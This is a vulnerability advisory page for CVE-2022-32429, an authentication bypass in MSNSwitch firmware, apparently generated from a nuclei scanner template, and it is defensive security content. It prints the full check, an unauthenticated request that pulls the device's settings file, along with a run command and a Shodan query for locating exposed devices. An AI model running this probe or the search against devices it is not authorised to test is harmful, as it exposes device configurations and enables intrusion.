MSNSwitch Firmware MNT.2408 - Authentication Bypass

criticalseverity

9.8CVSS score

75.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

MSNSwitch Firmware MNT.2408 is susceptible to authentication bypass in the component http://MYDEVICEIP/cgi-bin-sdb/ExportSettings.sh. An attacker can arbitrarily configure settings, leading to possible remote code execution and subsequent unauthorized operations.

Impact

Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the affected device.

Fix

Apply the latest firmware update provided by the vendor to fix the authentication bypass vulnerability.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin-hax/ExportSettings.sh
Positive when: contains "SSID1" AND matches in header /filename="Settings(.*).dat/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-32429 -u <target>

The full check

id: CVE-2022-32429

info:
  name: MSNSwitch Firmware MNT.2408 - Authentication Bypass
  author: theabhinavgaur
  severity: critical
  description: |
    MSNSwitch Firmware MNT.2408 is susceptible to authentication bypass in the component http://MYDEVICEIP/cgi-bin-sdb/ExportSettings.sh. An attacker can arbitrarily configure settings, leading to possible remote code execution and subsequent unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the affected device.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the authentication bypass vulnerability.
  reference:
    - https://packetstormsecurity.com/files/169819/MSNSwitch-Firmware-MNT.2408-Remote-Code-Execution.html
    - https://elifulkerson.com/CVE-2022-32429/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-32429
    - http://packetstormsecurity.com/files/169819/MSNSwitch-Firmware-MNT.2408-Remote-Code-Execution.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-32429
    cwe-id: CWE-287
    epss-score: 0.75855
    epss-percentile: 0.99528
    cpe: cpe:2.3:o:megatech:msnswitch_firmware:mnt.2408:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: megatech
    product: msnswitch_firmware
    shodan-query: http.favicon.hash:-2073748627 || http.favicon.hash:-1721140132
  tags: cve2022,cve,config,dump,packetstorm,msmswitch,unauth,switch,megatech,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin-hax/ExportSettings.sh"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SSID1"

      - type: regex
        part: header
        regex:
          - 'filename="Settings(.*).dat'
          - 'application/octet-stream'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from